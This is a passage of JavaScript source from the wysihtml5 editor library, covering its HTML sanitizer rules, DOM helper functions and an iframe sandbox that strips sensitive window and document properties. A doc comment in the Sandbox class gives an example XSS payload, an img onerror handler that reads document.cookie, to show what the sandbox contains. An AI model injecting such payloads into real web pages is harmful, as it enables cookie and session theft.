_convert(oldChilds[i], cleanUp, clearInternals, uneditableClass);\n        if (newChild) {\n          if (oldChilds[i] === newChild) {\n            i--;\n          }\n          newNode.appendChild(newChild);\n        }\n      }\n    }\n\n    // Cleanup senseless <span> elements\n    if (cleanUp &&\n        newNode.nodeName.toLowerCase() === DEFAULT_NODE_NAME &&\n        (!newNode.childNodes.length ||\n         ((/^\\s*$/gi).test(newNode.innerHTML) && (clearInternals || (oldNode.className !== \"_wysihtml5-temp-placeholder\" && oldNode.className !== \"rangySelectionBoundary\"))) ||\n         !newNode.attributes.length)\n        ) {\n      fragment = newNode.ownerDocument.createDocumentFragment();\n      while (newNode.firstChild) {\n        fragment.appendChild(newNode.firstChild);\n      }\n      if (fragment.normalize) {\n        fragment.normalize();\n      }\n      return fragment;\n    }\n\n    if (newNode.normalize) {\n      newNode.normalize();\n    }\n    return newNode;\n  }\n\n  function _applySelectorRules (element, selectorRules) {\n    var sel, method, els;\n\n    for (sel in selectorRules) {\n      if (selectorRules.hasOwnProperty(sel)) {\n        if (wysihtml5.lang.object(selectorRules[sel]).isFunction()) {\n          method = selectorRules[sel];\n        } else if (typeof(selectorRules[sel]) === \"string\" && elementHandlingMethods[selectorRules[sel]]) {\n          method = elementHandlingMethods[selectorRules[sel]];\n        }\n        els = element.querySelectorAll(sel);\n        for (var i = els.length; i--;) {\n          method(els[i]);\n        }\n      }\n    }\n  }\n\n  function _handleElement(oldNode, clearInternals) {\n    var rule,\n        newNode,\n        tagRules    = currentRules.tags,\n        nodeName    = oldNode.nodeName.toLowerCase(),\n        scopeName   = oldNode.scopeName,\n        renameTag;\n\n    /**\n     * We already parsed that element\n     * ignore it! (yes, this sometimes happens in IE8 when the html is invalid)\n     */\n    if (oldNode._wysihtml5) {\n      return null;\n    }\n    oldNode._wysihtml5 = 1;\n\n    if (oldNode.className === \"wysihtml5-temp\") {\n      return null;\n    }\n\n    /**\n     * IE is the only browser who doesn't include the namespace in the\n     * nodeName, that's why we have to prepend it by ourselves\n     * scopeName is a proprietary IE feature\n     * read more here http://msdn.microsoft.com/en-us/library/ms534388(v=vs.85).aspx\n     */\n    if (scopeName && scopeName != \"HTML\") {\n      nodeName = scopeName + \":\" + nodeName;\n    }\n    /**\n     * Repair node\n     * IE is a bit bitchy when it comes to invalid nested markup which includes unclosed tags\n     * A <p> doesn't need to be closed according HTML4-5 spec, we simply replace it with a <div> to preserve its content and layout\n     */\n    if (\"outerHTML\" in oldNode) {\n      if (!wysihtml5.browser.autoClosesUnclosedTags() &&\n          oldNode.nodeName === \"P\" &&\n          oldNode.outerHTML.slice(-4).toLowerCase() !== \"</p>\") {\n        nodeName = \"div\";\n      }\n    }\n\n    if (nodeName in tagRules) {\n      rule = tagRules[nodeName];\n      if (!rule || rule.remove) {\n        return null;\n      } else if (rule.unwrap) {\n        return false;\n      }\n      rule = typeof(rule) === \"string\" ? { rename_tag: rule } : rule;\n    } else if (oldNode.firstChild) {\n      rule = { rename_tag: DEFAULT_NODE_NAME };\n    } else {\n      // Remove empty unknown elements\n      return null;\n    }\n\n    // tests if type condition is met or node should be removed/unwrapped/renamed\n    if (rule.one_of_type && !_testTypes(oldNode, currentRules, rule.one_of_type, clearInternals)) {\n      if (rule.remove_action) {\n        if (rule.remove_action === \"unwrap\") {\n          return false;\n        } else if (rule.remove_action === \"rename\") {\n          renameTag = rule.remove_action_rename_to || DEFAULT_NODE_NAME;\n        } else {\n          return null;\n        }\n      } else {\n        return null;\n      }\n    }\n\n    newNode = oldNode.ownerDocument.createElement(renameTag || rule.rename_tag || nodeName);\n    _handleAttributes(oldNode, newNode, rule, clearInternals);\n    _handleStyles(oldNode, newNode, rule);\n\n    oldNode = null;\n\n    if (newNode.normalize) { newNode.normalize(); }\n    return newNode;\n  }\n\n  function _testTypes(oldNode, rules, types, clearInternals) {\n    var definition, type;\n\n    // do not interfere with placeholder span or pasting caret position is not maintained\n    if (oldNode.nodeName === \"SPAN\" && !clearInternals && (oldNode.className === \"_wysihtml5-temp-placeholder\" || oldNode.className === \"rangySelectionBoundary\")) {\n      return true;\n    }\n\n    for (type in types) {\n      if (types.hasOwnProperty(type) && rules.type_definitions && rules.type_definitions[type]) {\n        definition = rules.type_definitions[type];\n        if (_testType(oldNode, definition)) {\n          return true;\n        }\n      }\n    }\n    return false;\n  }\n\n  function array_contains(a, obj) {\n      var i = a.length;\n      while (i--) {\n         if (a[i] === obj) {\n             return true;\n         }\n      }\n      return false;\n  }\n\n  function _testType(oldNode, definition) {\n\n    var nodeClasses = oldNode.getAttribute(\"class\"),\n        nodeStyles =  oldNode.getAttribute(\"style\"),\n        classesLength, s, s_corrected, a, attr, currentClass, styleProp;\n\n    // test for methods\n    if (definition.methods) {\n      for (var m in definition.methods) {\n        if (definition.methods.hasOwnProperty(m) && typeCeckMethods[m]) {\n\n          if (typeCeckMethods[m](oldNode)) {\n            return true;\n          }\n        }\n      }\n    }\n\n    // test for classes, if one found return true\n    if (nodeClasses && definition.classes) {\n      nodeClasses = nodeClasses.replace(/^\\s+/g, '').replace(/\\s+$/g, '').split(WHITE_SPACE_REG_EXP);\n      classesLength = nodeClasses.length;\n      for (var i = 0; i < classesLength; i++) {\n        if (definition.classes[nodeClasses[i]]) {\n          return true;\n        }\n      }\n    }\n\n    // test for styles, if one found return true\n    if (nodeStyles && definition.styles) {\n\n      nodeStyles = nodeStyles.split(';');\n      for (s in definition.styles) {\n        if (definition.styles.hasOwnProperty(s)) {\n          for (var sp = nodeStyles.length; sp--;) {\n            styleProp = nodeStyles[sp].split(':');\n\n            if (styleProp[0].replace(/\\s/g, '').toLowerCase() === s) {\n              if (definition.styles[s] === true || definition.styles[s] === 1 || wysihtml5.lang.array(definition.styles[s]).contains(styleProp[1].replace(/\\s/g, '').toLowerCase()) ) {\n                return true;\n              }\n            }\n          }\n        }\n      }\n    }\n\n    // test for attributes in general against regex match\n    if (definition.attrs) {\n        for (a in definition.attrs) {\n            if (definition.attrs.hasOwnProperty(a)) {\n                attr = wysihtml5.dom.getAttribute(oldNode, a);\n                if (typeof(attr) === \"string\") {\n                    if (attr.search(definition.attrs[a]) > -1) {\n                        return true;\n                    }\n                }\n            }\n        }\n    }\n    return false;\n  }\n\n  function _handleStyles(oldNode, newNode, rule) {\n    var s, v;\n    if(rule && rule.keep_styles) {\n      for (s in rule.keep_styles) {\n        if (rule.keep_styles.hasOwnProperty(s)) {\n          v = (s === \"float\") ? oldNode.style.styleFloat || oldNode.style.cssFloat : oldNode.style[s];\n          // value can be regex and if so should match or style skipped\n          if (rule.keep_styles[s] instanceof RegExp && !(rule.keep_styles[s].test(v))) {\n            continue;\n          }\n          if (s === \"float\") {\n            // IE compability\n            newNode.style[(oldNode.style.styleFloat) ? 'styleFloat': 'cssFloat'] = v;\n           } else if (oldNode.style[s]) {\n             newNode.style[s] = v;\n           }\n        }\n      }\n    }\n  };\n\n  function _getAttributesBeginningWith(beginning, attributes) {\n    var returnAttributes = [];\n    for (var attr in attributes) {\n      if (attributes.hasOwnProperty(attr) && attr.indexOf(beginning) === 0) {\n        returnAttributes.push(attr);\n      }\n    }\n    return returnAttributes;\n  }\n\n  function _checkAttribute(attributeName, attributeValue, methodName, nodeName) {\n    var method = attributeCheckMethods[methodName],\n        newAttributeValue;\n\n    if (method) {\n      if (attributeValue || (attributeName === \"alt\" && nodeName == \"IMG\")) {\n        newAttributeValue = method(attributeValue);\n        if (typeof(newAttributeValue) === \"string\") {\n          return newAttributeValue;\n        }\n      }\n    }\n\n    return false;\n  }\n\n  function _checkAttributes(oldNode, local_attributes) {\n    var globalAttributes  = wysihtml5.lang.object(currentRules.attributes || {}).clone(), // global values for check/convert values of attributes\n        checkAttributes   = wysihtml5.lang.object(globalAttributes).merge( wysihtml5.lang.object(local_attributes || {}).clone()).get(),\n        attributes        = {},\n        oldAttributes     = wysihtml5.dom.getAttributes(oldNode),\n        attributeName, newValue, matchingAttributes;\n\n    for (attributeName in checkAttributes) {\n      if ((/\\*$/).test(attributeName)) {\n\n        matchingAttributes = _getAttributesBeginningWith(attributeName.slice(0,-1), oldAttributes);\n        for (var i = 0, imax = matchingAttributes.length; i < imax; i++) {\n\n          newValue = _checkAttribute(matchingAttributes[i], oldAttributes[matchingAttributes[i]], checkAttributes[attributeName], oldNode.nodeName);\n          if (newValue !== false) {\n            attributes[matchingAttributes[i]] = newValue;\n          }\n        }\n      } else {\n        newValue = _checkAttribute(attributeName, oldAttributes[attributeName], checkAttributes[attributeName], oldNode.nodeName);\n        if (newValue !== false) {\n          attributes[attributeName] = newValue;\n        }\n      }\n    }\n\n    return attributes;\n  }\n\n  // TODO: refactor. Too long to read\n  function _handleAttributes(oldNode, newNode, rule, clearInternals) {\n    var attributes          = {},                         // fresh new set of attributes to set on newNode\n        setClass            = rule.set_class,             // classes to set\n        addClass            = rule.add_class,             // add classes based on existing attributes\n        addStyle            = rule.add_style,             // add styles based on existing attributes\n        setAttributes       = rule.set_attributes,        // attributes to set on the current node\n        allowedClasses      = currentRules.classes,\n        i                   = 0,\n        classes             = [],\n        styles              = [],\n        newClasses          = [],\n        oldClasses          = [],\n        classesLength,\n        newClassesLength,\n        currentClass,\n        newClass,\n        attributeName,\n        method;\n\n    if (setAttributes) {\n      attributes = wysihtml5.lang.object(setAttributes).clone();\n    }\n\n    // check/convert values of attributes\n    attributes = wysihtml5.lang.object(attributes).merge(_checkAttributes(oldNode,  rule.check_attributes)).get();\n\n    if (setClass) {\n      classes.push(setClass);\n    }\n\n    if (addClass) {\n      for (attributeName in addClass) {\n        method = addClassMethods[addClass[attributeName]];\n        if (!method) {\n          continue;\n        }\n        newClass = method(wysihtml5.dom.getAttribute(oldNode, attributeName));\n        if (typeof(newClass) === \"string\") {\n          classes.push(newClass);\n        }\n      }\n    }\n\n    if (addStyle) {\n      for (attributeName in addStyle) {\n        method = addStyleMethods[addStyle[attributeName]];\n        if (!method) {\n          continue;\n        }\n\n        newStyle = method(wysihtml5.dom.getAttribute(oldNode, attributeName));\n        if (typeof(newStyle) === \"string\") {\n          styles.push(newStyle);\n        }\n      }\n    }\n\n\n    if (typeof(allowedClasses) === \"string\" && allowedClasses === \"any\" && oldNode.getAttribute(\"class\")) {\n      if (currentRules.classes_blacklist) {\n        oldClasses = oldNode.getAttribute(\"class\");\n        if (oldClasses) {\n          classes = classes.concat(oldClasses.split(WHITE_SPACE_REG_EXP));\n        }\n\n        classesLength = classes.length;\n        for (; i<classesLength; i++) {\n          currentClass = classes[i];\n          if (!currentRules.classes_blacklist[currentClass]) {\n            newClasses.push(currentClass);\n          }\n        }\n\n        if (newClasses.length) {\n          attributes[\"class\"] = wysihtml5.lang.array(newClasses).unique().join(\" \");\n        }\n\n      } else {\n        attributes[\"class\"] = oldNode.getAttribute(\"class\");\n      }\n    } else {\n      // make sure that wysihtml5 temp class doesn't get stripped out\n      if (!clearInternals) {\n        allowedClasses[\"_wysihtml5-temp-placeholder\"] = 1;\n        allowedClasses[\"_rangySelectionBoundary\"] = 1;\n        allowedClasses[\"wysiwyg-tmp-selected-cell\"] = 1;\n      }\n\n      // add old classes last\n      oldClasses = oldNode.getAttribute(\"class\");\n      if (oldClasses) {\n        classes = classes.concat(oldClasses.split(WHITE_SPACE_REG_EXP));\n      }\n      classesLength = classes.length;\n      for (; i<classesLength; i++) {\n        currentClass = classes[i];\n        if (allowedClasses[currentClass]) {\n          newClasses.push(currentClass);\n        }\n      }\n\n      if (newClasses.length) {\n        attributes[\"class\"] = wysihtml5.lang.array(newClasses).unique().join(\" \");\n      }\n    }\n\n    // remove table selection class if present\n    if (attributes[\"class\"] && clearInternals) {\n      attributes[\"class\"] = attributes[\"class\"].replace(\"wysiwyg-tmp-selected-cell\", \"\");\n      if ((/^\\s*$/g).test(attributes[\"class\"])) {\n        delete attributes[\"class\"];\n      }\n    }\n\n    if (styles.length) {\n      attributes[\"style\"] = wysihtml5.lang.array(styles).unique().join(\" \");\n    }\n\n    // set attributes on newNode\n    for (attributeName in attributes) {\n      // Setting attributes can cause a js error in IE under certain circumstances\n      // eg. on a <img> under https when it's new attribute value is non-https\n      // TODO: Investigate this further and check for smarter handling\n      try {\n        newNode.setAttribute(attributeName, attributes[attributeName]);\n      } catch(e) {}\n    }\n\n    // IE8 sometimes loses the width/height attributes when those are set before the \"src\"\n    // so we make sure to set them again\n    if (attributes.src) {\n      if (typeof(attributes.width) !== \"undefined\") {\n        newNode.setAttribute(\"width\", attributes.width);\n      }\n      if (typeof(attributes.height) !== \"undefined\") {\n        newNode.setAttribute(\"height\", attributes.height);\n      }\n    }\n  }\n\n  var INVISIBLE_SPACE_REG_EXP = /\\uFEFF/g;\n  function _handleText(oldNode) {\n    var nextSibling = oldNode.nextSibling;\n    if (nextSibling && nextSibling.nodeType === wysihtml5.TEXT_NODE) {\n      // Concatenate text nodes\n      nextSibling.data = oldNode.data.replace(INVISIBLE_SPACE_REG_EXP, \"\") + nextSibling.data.replace(INVISIBLE_SPACE_REG_EXP, \"\");\n    } else {\n      // \\uFEFF = wysihtml5.INVISIBLE_SPACE (used as a hack in certain rich text editing situations)\n      var data = oldNode.data.replace(INVISIBLE_SPACE_REG_EXP, \"\");\n      return oldNode.ownerDocument.createTextNode(data);\n    }\n  }\n\n  function _handleComment(oldNode) {\n    if (currentRules.comments) {\n      return oldNode.ownerDocument.createComment(oldNode.nodeValue);\n    }\n  }\n\n  // ------------ attribute checks ------------ \\\\\n  var attributeCheckMethods = {\n    url: (function() {\n      var REG_EXP = /^https?:\\/\\//i;\n      return function(attributeValue) {\n        if (!attributeValue || !attributeValue.match(REG_EXP)) {\n          return null;\n        }\n        return attributeValue.replace(REG_EXP, function(match) {\n          return match.toLowerCase();\n        });\n      };\n    })(),\n\n    src: (function() {\n      var REG_EXP = /^(\\/|https?:\\/\\/)/i;\n      return function(attributeValue) {\n        if (!attributeValue || !attributeValue.match(REG_EXP)) {\n          return null;\n        }\n        return attributeValue.replace(REG_EXP, function(match) {\n          return match.toLowerCase();\n        });\n      };\n    })(),\n\n    href: (function() {\n      var REG_EXP = /^(#|\\/|https?:\\/\\/|mailto:)/i;\n      return function(attributeValue) {\n        if (!attributeValue || !attributeValue.match(REG_EXP)) {\n          return null;\n        }\n        return attributeValue.replace(REG_EXP, function(match) {\n          return match.toLowerCase();\n        });\n      };\n    })(),\n\n    alt: (function() {\n      var REG_EXP = /[^ a-z0-9_\\-]/gi;\n      return function(attributeValue) {\n        if (!attributeValue) {\n          return \"\";\n        }\n        return attributeValue.replace(REG_EXP, \"\");\n      };\n    })(),\n\n    numbers: (function() {\n      var REG_EXP = /\\D/g;\n      return function(attributeValue) {\n        attributeValue = (attributeValue || \"\").replace(REG_EXP, \"\");\n        return attributeValue || null;\n      };\n    })(),\n\n    any: (function() {\n      return function(attributeValue) {\n        return attributeValue;\n      };\n    })()\n  };\n\n  // ------------ style converter (converts an html attribute to a style) ------------ \\\\\n  var addStyleMethods = {\n    align_text: (function() {\n      var mapping = {\n        left:     \"text-align: left;\",\n        right:    \"text-align: right;\",\n        center:   \"text-align: center;\"\n      };\n      return function(attributeValue) {\n        return mapping[String(attributeValue).toLowerCase()];\n      };\n    })(),\n  };\n\n  // ------------ class converter (converts an html attribute to a class name) ------------ \\\\\n  var addClassMethods = {\n    align_img: (function() {\n      var mapping = {\n        left:   \"wysiwyg-float-left\",\n        right:  \"wysiwyg-float-right\"\n      };\n      return function(attributeValue) {\n        return mapping[String(attributeValue).toLowerCase()];\n      };\n    })(),\n\n    align_text: (function() {\n      var mapping = {\n        left:     \"wysiwyg-text-align-left\",\n        right:    \"wysiwyg-text-align-right\",\n        center:   \"wysiwyg-text-align-center\",\n        justify:  \"wysiwyg-text-align-justify\"\n      };\n      return function(attributeValue) {\n        return mapping[String(attributeValue).toLowerCase()];\n      };\n    })(),\n\n    clear_br: (function() {\n      var mapping = {\n        left:   \"wysiwyg-clear-left\",\n        right:  \"wysiwyg-clear-right\",\n        both:   \"wysiwyg-clear-both\",\n        all:    \"wysiwyg-clear-both\"\n      };\n      return function(attributeValue) {\n        return mapping[String(attributeValue).toLowerCase()];\n      };\n    })(),\n\n    size_font: (function() {\n      var mapping = {\n        \"1\": \"wysiwyg-font-size-xx-small\",\n        \"2\": \"wysiwyg-font-size-small\",\n        \"3\": \"wysiwyg-font-size-medium\",\n        \"4\": \"wysiwyg-font-size-large\",\n        \"5\": \"wysiwyg-font-size-x-large\",\n        \"6\": \"wysiwyg-font-size-xx-large\",\n        \"7\": \"wysiwyg-font-size-xx-large\",\n        \"-\": \"wysiwyg-font-size-smaller\",\n        \"+\": \"wysiwyg-font-size-larger\"\n      };\n      return function(attributeValue) {\n        return mapping[String(attributeValue).charAt(0)];\n      };\n    })()\n  };\n\n  // checks if element is possibly visible\n  var typeCeckMethods = {\n    has_visible_contet: (function() {\n      var txt,\n          isVisible = false,\n          visibleElements = ['img', 'video', 'picture', 'br', 'script', 'noscript',\n                             'style', 'table', 'iframe', 'object', 'embed', 'audio',\n                             'svg', 'input', 'button', 'select','textarea', 'canvas'];\n\n      return function(el) {\n\n        // has visible innertext. so is visible\n        txt = (el.innerText || el.textContent).replace(/\\s/g, '');\n        if (txt && txt.length > 0) {\n          return true;\n        }\n\n        // matches list of visible dimensioned elements\n        for (var i = visibleElements.length; i--;) {\n          if (el.querySelector(visibleElements[i])) {\n            return true;\n          }\n        }\n\n        // try to measure dimesions in last resort. (can find only of elements in dom)\n        if (el.offsetWidth && el.offsetWidth > 0 && el.offsetHeight && el.offsetHeight > 0) {\n          return true;\n        }\n\n        return false;\n      };\n    })()\n  };\n\n  var elementHandlingMethods = {\n    unwrap: function (element) {\n      wysihtml5.dom.unwrap(element);\n    },\n\n    remove: function (element) {\n      element.parentNode.removeChild(element);\n    }\n  };\n\n  return parse(elementOrHtml_current, config_current);\n};\n;/**\n * Checks for empty text node childs and removes them\n *\n * @param {Element} node The element in which to cleanup\n * @example\n *    wysihtml5.dom.removeEmptyTextNodes(element);\n */\nwysihtml5.dom.removeEmptyTextNodes = function(node) {\n  var childNode,\n      childNodes        = wysihtml5.lang.array(node.childNodes).get(),\n      childNodesLength  = childNodes.length,\n      i                 = 0;\n  for (; i<childNodesLength; i++) {\n    childNode = childNodes[i];\n    if (childNode.nodeType === wysihtml5.TEXT_NODE && childNode.data === \"\") {\n      childNode.parentNode.removeChild(childNode);\n    }\n  }\n};\n;/**\n * Renames an element (eg. a <div> to a <p>) and keeps its childs\n *\n * @param {Element} element The list element which should be renamed\n * @param {Element} newNodeName The desired tag name\n *\n * @example\n *    <!-- Assume the following dom: -->\n *    <ul id=\"list\">\n *      <li>eminem</li>\n *      <li>dr. dre</li>\n *      <li>50 Cent</li>\n *    </ul>\n *\n *    <script>\n *      wysihtml5.dom.renameElement(document.getElementById(\"list\"), \"ol\");\n *    </script>\n *\n *    <!-- Will result in: -->\n *    <ol>\n *      <li>eminem</li>\n *      <li>dr. dre</li>\n *      <li>50 Cent</li>\n *    </ol>\n */\nwysihtml5.dom.renameElement = function(element, newNodeName) {\n  var newElement = element.ownerDocument.createElement(newNodeName),\n      firstChild;\n  while (firstChild = element.firstChild) {\n    newElement.appendChild(firstChild);\n  }\n  wysihtml5.dom.copyAttributes([\"align\", \"className\"]).from(element).to(newElement);\n  element.parentNode.replaceChild(newElement, element);\n  return newElement;\n};\n;/**\n * Takes an element, removes it and replaces it with it's childs\n *\n * @param {Object} node The node which to replace with it's child nodes\n * @example\n *    <div id=\"foo\">\n *      <span>hello</span>\n *    </div>\n *    <script>\n *      // Remove #foo and replace with it's children\n *      wysihtml5.dom.replaceWithChildNodes(document.getElementById(\"foo\"));\n *    </script>\n */\nwysihtml5.dom.replaceWithChildNodes = function(node) {\n  if (!node.parentNode) {\n    return;\n  }\n\n  if (!node.firstChild) {\n    node.parentNode.removeChild(node);\n    return;\n  }\n\n  var fragment = node.ownerDocument.createDocumentFragment();\n  while (node.firstChild) {\n    fragment.appendChild(node.firstChild);\n  }\n  node.parentNode.replaceChild(fragment, node);\n  node = fragment = null;\n};\n;/**\n * Unwraps an unordered/ordered list\n *\n * @param {Element} element The list element which should be unwrapped\n *\n * @example\n *    <!-- Assume the following dom: -->\n *    <ul id=\"list\">\n *      <li>eminem</li>\n *      <li>dr. dre</li>\n *      <li>50 Cent</li>\n *    </ul>\n *\n *    <script>\n *      wysihtml5.dom.resolveList(document.getElementById(\"list\"));\n *    </script>\n *\n *    <!-- Will result in: -->\n *    eminem<br>\n *    dr. dre<br>\n *    50 Cent<br>\n */\n(function(dom) {\n  function _isBlockElement(node) {\n    return dom.getStyle(\"display\").from(node) === \"block\";\n  }\n\n  function _isLineBreak(node) {\n    return node.nodeName === \"BR\";\n  }\n\n  function _appendLineBreak(element) {\n    var lineBreak = element.ownerDocument.createElement(\"br\");\n    element.appendChild(lineBreak);\n  }\n\n  function resolveList(list, useLineBreaks) {\n    if (!list.nodeName.match(/^(MENU|UL|OL)$/)) {\n      return;\n    }\n\n    var doc             = list.ownerDocument,\n        fragment        = doc.createDocumentFragment(),\n        previousSibling = wysihtml5.dom.domNode(list).prev({ignoreBlankTexts: true}),\n        firstChild,\n        lastChild,\n        isLastChild,\n        shouldAppendLineBreak,\n        paragraph,\n        listItem;\n\n    if (useLineBreaks) {\n      // Insert line break if list is after a non-block element\n      if (previousSibling && !_isBlockElement(previousSibling) && !_isLineBreak(previousSibling)) {\n        _appendLineBreak(fragment);\n      }\n\n      while (listItem = (list.firstElementChild || list.firstChild)) {\n        lastChild = listItem.lastChild;\n        while (firstChild = listItem.firstChild) {\n          isLastChild           = firstChild === lastChild;\n          // This needs to be done before appending it to the fragment, as it otherwise will lose style information\n          shouldAppendLineBreak = isLastChild && !_isBlockElement(firstChild) && !_isLineBreak(firstChild);\n          fragment.appendChild(firstChild);\n          if (shouldAppendLineBreak) {\n            _appendLineBreak(fragment);\n          }\n        }\n\n        listItem.parentNode.removeChild(listItem);\n      }\n    } else {\n      while (listItem = (list.firstElementChild || list.firstChild)) {\n        if (listItem.querySelector && listItem.querySelector(\"div, p, ul, ol, menu, blockquote, h1, h2, h3, h4, h5, h6\")) {\n          while (firstChild = listItem.firstChild) {\n            fragment.appendChild(firstChild);\n          }\n        } else {\n          paragraph = doc.createElement(\"p\");\n          while (firstChild = listItem.firstChild) {\n            paragraph.appendChild(firstChild);\n          }\n          fragment.appendChild(paragraph);\n        }\n        listItem.parentNode.removeChild(listItem);\n      }\n    }\n\n    list.parentNode.replaceChild(fragment, list);\n  }\n\n  dom.resolveList = resolveList;\n})(wysihtml5.dom);\n;/**\n * Sandbox for executing javascript, parsing css styles and doing dom operations in a secure way\n *\n * Browser Compatibility:\n *  - Secure in MSIE 6+, but only when the user hasn't made changes to his security level \"restricted\"\n *  - Partially secure in other browsers (Firefox, Opera, Safari, Chrome, ...)\n *\n * Please note that this class can't benefit from the HTML5 sandbox attribute for the following reasons:\n *    - sandboxing doesn't work correctly with inlined content (src=\"javascript:'<html>...</html>'\")\n *    - sandboxing of physical documents causes that the dom isn't accessible anymore from the outside (iframe.contentWindow, ...)\n *    - setting the \"allow-same-origin\" flag would fix that, but then still javascript and dom events refuse to fire\n *    - therefore the \"allow-scripts\" flag is needed, which then would deactivate any security, as the js executed inside the iframe\n *      can do anything as if the sandbox attribute wasn't set\n *\n * @param {Function} [readyCallback] Method that gets invoked when the sandbox is ready\n * @param {Object} [config] Optional parameters\n *\n * @example\n *    new wysihtml5.dom.Sandbox(function(sandbox) {\n *      sandbox.getWindow().document.body.innerHTML = '<img src=foo.gif onerror=\"alert(document.cookie)\">';\n *    });\n */\n(function(wysihtml5) {\n  var /**\n       * Default configuration\n       */\n      doc                 = document,\n      /**\n       * Properties to unset/protect on the window object\n       */\n      windowProperties    = [\n        \"parent\", \"top\", \"opener\", \"frameElement\", \"frames\",\n        \"localStorage\", \"globalStorage\", \"sessionStorage\", \"indexedDB\"\n      ],\n      /**\n       * Properties on the window object which are set to an empty function\n       */\n      windowProperties2   = [\n        \"open\", \"close\", \"openDialog\", \"showModalDialog\",\n        \"alert\", \"confirm\", \"prompt\",\n        \"openDatabase\", \"postMessage\",\n        \"XMLHttpRequest\", \"XDomainRequest\"\n      ],\n      /**\n       * Properties to unset/protect on the document object\n       */\n      documentProperties  = [\n        \"referrer\",\n        \"write\", \"open\", \"close\"\n      ];\n\n  wysihtml5.dom.Sandbox = Base.extend(\n    /** @scope wysihtml5.dom.Sandbox.prototype */ {\n\n    constructor: function(readyCallback, config) {\n      this.callback = readyCallback || wysihtml5.EMPTY_FUNCTION;\n      this.config   = wysihtml5.lang.object({}).merge(config).get();\n      this.editableArea   = this._createIframe();\n    },\n\n    insertInto: function(element) {\n      if (typeof(element) === \"string\") {\n        element = doc.getElementById(element);\n      }\n\n      element.appendChild(this.editableArea);\n    },\n\n    getIframe: function() {\n      return this.editableArea;\n    },\n\n    getWindow: function() {\n      this._readyError();\n    },\n\n    getDocument: function() {\n      this._readyError();\n    },\n\n    destroy: function() {\n      var iframe = this.getIframe();\n      iframe.parentNode.removeChild(iframe);\n    },\n\n    _readyError: function() {\n      throw new Error(\"wysihtml5.Sandbox: Sandbox iframe isn't loaded yet\");\n    },\n\n    /**\n     * Creates the sandbox iframe\n     *\n     * Some important notes:\n     *  - We can't use HTML5 sandbox for now:\n     *    setting it causes that the iframe's dom can't be accessed from the outside\n     *    Therefore we need to set the \"allow-same-origin\" flag which enables accessing the iframe's dom\n     *    But then there's another problem, DOM events (focus, blur, change, keypress, ...) aren't fired.\n     *    In order to make this happen we need to set the \"allow-scripts\" flag.\n     *    A combination of allow-scripts and allow-same-origin is almost the same as setting no sandbox attribute at all.\n     *  - Chrome & Safari, doesn't seem to support sandboxing correctly when the iframe's html is inlined (no physical document)\n     *  - IE needs to have the security=\"restricted\" attribute set before the iframe is\n     *    inserted into the dom tree\n     *  - Believe it or not but in IE \"security\" in document.createElement(\"iframe\") is false, even\n     *    though it supports it\n     *  - When an iframe has security=\"restricted\", in IE eval() & execScript() don't work anymore\n     *  - IE doesn't fire the onload event when the content is inlined in the src attribute, therefore we rely\n     *    on the onreadystatechange event\n     */\n    _createIframe: function() {\n      var that   = this,\n          iframe = doc.createElement(\"iframe\");\n      iframe.className = \"wysihtml5-sandbox\";\n      wysihtml5.dom.setAttributes({\n        \"security\":           \"restricted\",\n        \"allowtransparency\":  \"true\",\n        \"frameborder\":        0,\n        \"width\":              0,\n        \"height\":             0,\n        \"marginwidth\":        0,\n        \"marginheight\":       0\n      }).on(iframe);\n\n      // Setting the src like this prevents ssl warnings in IE6\n      if (wysihtml5.browser.throwsMixedContentWarningWhenIframeSrcIsEmpty()) {\n        iframe.src = \"javascript:'<html></html>'\";\n      }\n\n      iframe.onload = function() {\n        iframe.onreadystatechange = iframe.onload = null;\n        that._onLoadIframe(iframe);\n      };\n\n      iframe.onreadystatechange = function() {\n        if (/loaded|complete/.test(iframe.readyState)) {\n          iframe.onreadystatechange = iframe.onload = null;\n          that._onLoadIframe(iframe);\n        }\n      };\n\n      return iframe;\n    },\n\n    /**\n     * Callback for when the iframe has finished loading\n     */\n    _onLoadIframe: function(iframe) {\n      // don't resume when the iframe got unloaded (eg. by removing it from the dom)\n      if (!wysihtml5.dom.contains(doc.documentElement, iframe)) {\n        return;\n      }\n\n      var that           = this,\n          iframeWindow   = iframe.contentWindow,\n          iframeDocument = iframe.contentWindow.document,\n          charset        = doc.characterSet || doc.charset || \"utf-8\",\n          sandboxHtml    = this._getHtml({\n            charset:      charset,\n            stylesheets:  this.config.stylesheets\n          });\n\n      // Create the basic dom tree including proper DOCTYPE and charset\n      iframeDocument.open(\"text/html\", \"replace\");\n      iframeDocument.write(sandboxHtml);\n      iframeDocument.close();\n\n      this.getWindow = function() { return iframe.contentWindow; };\n      this.getDocument = function() { return iframe.contentWindow.document; };\n\n      // Catch js errors and pass them to the parent's onerror event\n      // addEventListener(\"error\") doesn't work properly in some browsers\n      // TODO: apparently this doesn't work in IE9!\n      iframeWindow.onerror = function(errorMessage, fileName, lineNumber) {\n        throw new Error(\"wysihtml5.Sandbox: \" + errorMessage, fileName, lineNumber);\n      };\n\n      if (!wysihtml5.browser.supportsSandboxedIframes()) {\n        // Unset a bunch of sensitive variables\n        // Please note: This isn't hack safe!\n        // It more or less just takes care of basic attacks and prevents accidental theft of sensitive information\n        // IE is secure though, which is the most important thing, since IE is the only browser, who\n        // takes over scripts & styles into contentEditable elements when copied from external websites\n        // or applications (Microsoft Word, ...)\n        var i, length;\n        for (i=0, length=windowProperties.length; i<length; i++) {\n          this._unset(iframeWindow, windowProperties[i]);\n        }\n        for (i=0, length=windowProperties2.length; i<length; i++) {\n          this._unset(iframeWindow, windowProperties2[i], wysihtml5.EMPTY_FUNCTION);\n        }\n        for (i=0, length=documentProperties.length; i<length; i++) {\n          this._unset(iframeDocument, documentProperties[i]);\n        }\n        // This doesn't work in Safari 5\n        // See http://stackoverflow.com/questions/992461/is-it-possible-to-override-document-cookie-in-webkit\n        this._unset(iframeDocument, \"cookie\", \"\", true);\n      }\n\n      this.loaded = true;\n\n      // Trigger the callback\n      setTimeout(function() { that.callback(that); }, 0);\n    },\n\n    _getHtml: function(templateVars) {\n      var stylesheets = templateVars.stylesheets,\n          html        = \"\",\n          i           = 0,\n          length;\n      stylesheets = typeof(stylesheets) === \"string\" ? [stylesheets] : stylesheets;\n      if (stylesheets) {\n        length = stylesheets.length;\n        for (; i<length; i++) {\n          html += '<link rel=\"stylesheet\" href=\"' + stylesheets[i] + '\">';\n        }\n      }\n      templateVars.stylesheets = html;\n\n      return wysihtml5.lang.string(\n        '<!DOCTYPE html><html><head>'\n        + '<meta charset=\"#{charset}\">#{stylesheets}</head>'\n        + 